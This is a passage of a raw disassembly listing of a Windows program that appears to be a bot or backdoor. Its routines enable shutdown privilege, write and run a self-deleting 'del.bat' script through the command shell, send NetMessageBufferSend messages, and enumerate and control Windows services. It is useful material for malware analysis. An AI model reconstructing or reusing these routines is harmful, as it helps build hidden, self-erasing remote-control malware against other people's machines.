		push	80000000h
		push	eax
		call	esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_418332
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		nop
		call	near ptr 27E06EBh
		push	ebx
		mov	ebx, dword_427068
		call	ebx
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_418332
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		nop
		call	near ptr 27E0000h
		push	esi
		call	ebx


loc_418332:				; CODE XREF: sub_418293+2Aj
					; sub_418293+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418293	endp


; =============== S U B	R O U T	I N E =======================================



sub_418337	proc near		; CODE XREF: sub_401ACD+16B1p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4CAEB4
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_418337	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418359	proc near		; CODE XREF: sub_401ACD+2754p
					; ___:0041686Bp

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_429090, esi
		push	edi
		jz	short loc_41837D
		cmp	dword_4CB044, esi
		jnz	short loc_41837D
		push	esi
		call	sub_401000
		pop	ecx


loc_41837D:				; CODE XREF: sub_418359+13j
					; sub_418359+1Bj
		call	sub_40B2BF
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		call	near ptr 2690000h
		nop
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	near ptr 26F0867h
		nop
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_4184DD
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		call	near ptr 26E0000h
		nop
		push	edi
		nop
		call	near ptr 265092Ah
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset dword_43D128
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		nop
		call	near ptr 268056Eh
		push	eax
		nop
		call	near ptr 2660000h
		lea	eax, [ebp+var_15C]
		push	eax
		nop
		call	near ptr 26804D6h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418485
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		call	near ptr 2680399h
		nop


loc_418485:				; CODE XREF: sub_418359+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		nop
		call	near ptr 27F0000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		nop
		call	near ptr 2650BFCh


loc_4184DD:				; CODE XREF: sub_418359+72j
		pop	edi
		pop	esi
		leave
		retn
sub_418359	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4184E1	proc near		; CODE XREF: sub_401ACD+7232p

var_294		= byte ptr -294h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		nop
		call	near ptr 26C055Ah
		cmp	[ebp+var_84], 2
		jnz	short loc_418577
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4CAEF4
		push	edi
		push	eax
		call	dword_4CAF04
		test	eax, eax
		jz	short loc_418569
		push	[ebp+arg_10]
		push	offset dword_438984


loc_418542:				; CODE XREF: sub_4184E1+94j
		lea	eax, [ebp+var_294]
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		jmp	short loc_4185A1
; ---------------------------------------------------------------------------


loc_418569:				; CODE XREF: sub_4184E1+57j
		call	near ptr 2680000h
		nop
		push	eax
		push	offset unk_43895C
		jmp	short loc_418542
; ---------------------------------------------------------------------------


loc_418577:				; CODE XREF: sub_4184E1+3Fj
		lea	eax, [ebp+var_294]
		push	offset unk_43892C
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 1Ch


loc_4185A1:				; CODE XREF: sub_4184E1+86j
		pop	edi
		leave
		retn
sub_4184E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4185A4	proc near		; CODE XREF: sub_401ACD+55FEp

var_1C0		= byte ptr -1C0h
var_15C		= byte ptr -15Ch
var_F8		= byte ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	near ptr 26C055Ah
		nop
		cmp	[ebp+var_90], 4
		jnz	short loc_4185FA
		cmp	[ebp+var_8C], 0
		jnz	short loc_4185E3
		push	1
		pop	eax
		cmp	[ebp+var_84], eax
		jnz	short loc_4185FA
		leave
		retn
; ---------------------------------------------------------------------------


loc_4185E3:				; CODE XREF: sub_4185A4+30j
		cmp	[ebp+var_8C], 0Ah
		jz	short loc_4185F5
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_4185FA


loc_4185F5:				; CODE XREF: sub_4185A4+46j
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4185FA:				; CODE XREF: sub_4185A4+27j
					; sub_4185A4+3Bj ...
		push	esi
		push	edi
		push	offset aNetapi32_dll ; "netapi32.dll"
		nop
		call	near ptr 2690CB0h
		mov	esi, eax
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	esi
		nop
		call	near ptr 26A0000h
		push	32h
		mov	edi, eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_41D834
		push	32h
		lea	eax, [ebp+var_15C]
		push	[ebp+arg_4]
		push	eax
		call	sub_41D834
		push	32h
		lea	eax, [ebp+var_F8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41D834
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41D817
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		push	0
		call	edi
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		nop
		call	near ptr 278064Eh
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_4185A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418684	proc near		; CODE XREF: sub_40111D+F7p
					; ___:0040E6E2p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		nop
		call	near ptr 2680D12h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_427700
		call	sub_41C798
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418684	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186C1	proc near		; CODE XREF: sub_401ACD:loc_406126p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_418719
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_4389A8[esi]
		push	edi
		push	eax
		call	sub_41873B
		add	esp, 14h
		test	eax, eax
		jnz	short loc_418709
		push	edi
		push	off_4389A4[esi]
		push	offset unk_438AB8


loc_4186F9:				; CODE XREF: sub_4186C1+56j
		mov	esi, offset dword_4DAFF0
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418736
; ---------------------------------------------------------------------------


loc_418709:				; CODE XREF: sub_4186C1+2Aj
		push	eax
		call	sub_4187DD
		pop	ecx
		push	eax
		push	edi
		push	offset unk_438A8C
		jmp	short loc_4186F9
; ---------------------------------------------------------------------------


loc_418719:				; CODE XREF: sub_4186C1+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4DAFF0
		push	off_4389A0[eax*4]
		push	offset unk_438A68
		push	esi
		call	sub_41B886
		add	esp, 0Ch


loc_418736:				; CODE XREF: sub_4186C1+46j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_4186C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41873B	proc near		; CODE XREF: sub_4186C1+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_4CAF68
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_418762
		nop
		call	near ptr 2680000h
		mov	ebx, eax
		jmp	short loc_4187D7
; ---------------------------------------------------------------------------


loc_418762:				; CODE XREF: sub_41873B+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4CAE50
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_418782
		nop
		call	near ptr 2680000h
		mov	ebx, eax
		jmp	short loc_4187CF
; ---------------------------------------------------------------------------


loc_418782:				; CODE XREF: sub_41873B+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_4187B5
		cmp	eax, 3
		jz	short loc_4187A6
		jle	short loc_4187C8
		cmp	eax, 6
		jg	short loc_4187C8
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4CAEBC
		jmp	short loc_4187BC
; ---------------------------------------------------------------------------


loc_4187A6:				; CODE XREF: sub_41873B+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4CAE58
		jmp	short loc_4187BC
; ---------------------------------------------------------------------------


loc_4187B5:				; CODE XREF: sub_41873B+4Dj
		push	esi
		call	dword_4CAEC0


loc_4187BC:				; CODE XREF: sub_41873B+69j
					; sub_41873B+78j
		test	eax, eax
		jnz	short loc_4187C8
		nop
		call	near ptr 2680000h
		mov	ebx, eax


loc_4187C8:				; CODE XREF: sub_41873B+54j
					; sub_41873B+59j ...
		push	esi
		call	dword_4CAE6C


loc_4187CF:				; CODE XREF: sub_41873B+45j
		push	edi
		call	dword_4CAE6C
		pop	esi


loc_4187D7:				; CODE XREF: sub_41873B+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_41873B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4187DD	proc near		; CODE XREF: sub_4186C1+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_418892
		jz	loc_41888B
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_418855
		jz	short loc_41884B
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_418841
		dec	ecx
		dec	ecx
		jz	short loc_418837
		dec	ecx
		jz	short loc_41882D
		sub	ecx, 51h
		jz	short loc_418823
		sub	ecx, 24h
		jnz	loc_418908	; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_418823:				; CODE XREF: sub_4187DD+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_41882D:				; CODE XREF: sub_4187DD+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_418837:				; CODE XREF: sub_4187DD+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_418841:				; CODE XREF: sub_4187DD+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_41884B:				; CODE XREF: sub_4187DD+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_418855:				; CODE XREF: sub_4187DD+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_418884
		dec	ecx
		jz	short loc_41887D
		dec	ecx
		jz	short loc_418876
		dec	ecx
		jnz	loc_418908	; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------


loc_418876:				; CODE XREF: sub_4187DD+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_41887D:				; CODE XREF: sub_4187DD+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_418884:				; CODE XREF: sub_4187DD+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_41888B:				; CODE XREF: sub_4187DD+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_418892:				; CODE XREF: sub_4187DD+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_418908 ; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		jz	short loc_4188F5
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_418908 ; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_418949[ecx]
		jmp	off_418921[ecx*4] ; switch jump


loc_4188B6:				; DATA XREF: ___:off_418921o
		push	offset aTheSpecifiedDa ; jumptable 004188AF case 7
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188BD:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceDepe ; jumptable 004188AF case 17
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188C4:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceDe_0 ; jumptable 004188AF case 10
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188CB:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceHasB ; jumptable 004188AF case 0
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188D2:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheSpecified_0 ; jumptable 004188AF case 2
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188D9:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceCoul ; jumptable 004188AF case 11
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188E0:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceHa_0 ; jumptable 004188AF case 14
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188E7:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheRequested_1 ; jumptable 004188AF case 3
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188EE:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceHasN ; jumptable 004188AF case 4
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------


loc_4188F5:				; CODE XREF: sub_4187DD+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_4188FA:				; CODE XREF: sub_4187DD+41j
					; sub_4187DD+4Bj ...
		push	offset dword_4DA930
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_41891B
; ---------------------------------------------------------------------------


loc_418908:				; CODE XREF: sub_4187DD+36j
					; sub_4187DD+89j ...
		push	eax		; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4DA930
		call	sub_41B886
		add	esp, 0Ch


loc_41891B:				; CODE XREF: sub_4187DD+129j
		mov	eax, offset dword_4DA930
		retn
sub_4187DD	endp

; ---------------------------------------------------------------------------
off_418921	dd offset loc_4188CB	; DATA XREF: sub_4187DD+D2r
		dd offset loc_4188D2	; jump table for switch	statement
		dd offset loc_4188E7
		dd offset loc_4188EE
		dd offset loc_4188B6
		dd offset loc_4188C4
		dd offset loc_4188D9
		dd offset loc_4188E0
		dd offset loc_4188BD
		dd offset loc_418908
byte_418949	db	0,     9,     1,     2 ; DATA XREF: sub_4187DD+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41895B	proc near		; CODE XREF: sub_401ACD+45D3p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4CAF68
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_418993:				; CODE XREF: sub_41895B+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4CAF34
		test	eax, eax
		jnz	short loc_4189CD
		nop
		call	near ptr 2680000h
		cmp	eax, 0EAh
		jnz	loc_418A81


loc_4189CD:				; CODE XREF: sub_41895B+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_418A78
		lea	esi, [ebp+var_188]


loc_4189DE:				; CODE XREF: sub_41895B+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_418A27
		dec	eax
		jz	short loc_418A20
		dec	eax
		jz	short loc_418A19
		dec	eax
		jz	short loc_418A12
		dec	eax
		jz	short loc_418A0B
		dec	eax
		jz	short loc_418A04
		dec	eax
		jz	short loc_4189FD
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_4189FD:				; CODE XREF: sub_41895B+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A04:				; CODE XREF: sub_41895B+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A0B:				; CODE XREF: sub_41895B+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A12:				; CODE XREF: sub_41895B+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A19:				; CODE XREF: sub_41895B+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A20:				; CODE XREF: sub_41895B+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A27:				; CODE XREF: sub_41895B+87j
		push	offset aStopped	; "    Stopped"


loc_418A2C:				; CODE XREF: sub_41895B+A0j
					; sub_41895B+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_4189DE


loc_418A78:				; CODE XREF: sub_41895B+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_418993


loc_418A81:				; CODE XREF: sub_41895B+6Cj
		push	[ebp+var_C]
		call	dword_4CAE6C
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_41895B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A98	proc near		; CODE XREF: sub_401ACD:loc_406166p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_418B32
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_418AC1
		dec	eax
		jnz	short loc_418B12
		push	edi
		push	0
		call	sub_418C6B
		pop	ecx
		pop	ecx
		jmp	short loc_418B0E
; ---------------------------------------------------------------------------


loc_418AC1:				; CODE XREF: sub_418A98+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_418B00
		push	24h
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_418B00
		push	57h
		pop	eax


loc_418AD8:				; CODE XREF: sub_418A98+78j
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DABEC
		push	off_4389A0[eax*4]
		push	offset unk_43904C
		push	esi
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_418B52
; ---------------------------------------------------------------------------


loc_418B00:				; CODE XREF: sub_418A98+2Dj
					; sub_418A98+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_418BBF
		add	esp, 0Ch


loc_418B0E:				; CODE XREF: sub_418A98+27j
		test	eax, eax
		jnz	short loc_418AD8


loc_418B12:				; CODE XREF: sub_418A98+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DABEC
		push	off_4389A4[eax*4]
		push	offset dword_439030
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418B52
; ---------------------------------------------------------------------------


loc_418B32:				; CODE XREF: sub_418A98+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DABEC
		lea	eax, [eax+eax*2]
		push	off_4389A0[eax*4]
		push	offset unk_43900C
		push	esi
		call	sub_41B886
		add	esp, 0Ch


loc_418B52:				; CODE XREF: sub_418A98+66j
					; sub_418A98+98j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418A98	endp


; =============== S U B	R O U T	I N E =======================================



sub_418B58	proc near		; CODE XREF: sub_419E79+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_418B65
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_418B65:				; CODE XREF: sub_418B58+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_42717C
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi
		test	byte_4DADEC, 1
		mov	ebp, eax
		jnz	short loc_418BA2
		or	byte_4DADEC, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	dword_4DAB8C, eax


loc_418BA2:				; CODE XREF: sub_418B58+32j
		push	esi
		push	esi
		push	ebp
		push	dword_4DAB8C
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi
		mov	eax, dword_4DAB8C
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_418B58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418BBF	proc near		; CODE XREF: sub_418A98+6Ep
					; sub_41A19D+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418C2A
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_41BFB0
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_418C2A
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4CAE68
		pop	edi
		leave
		retn
sub_418BBF	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C2A	proc near		; CODE XREF: sub_418BBF+Ap
					; sub_418BBF+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_418C37
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_418C37:				; CODE XREF: sub_418C2A+9j
		push	ebx
		push	esi
		mov	esi, dword_427180
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418C2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C6B	proc near		; CODE XREF: sub_418A98+20p
					; sub_419E79+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

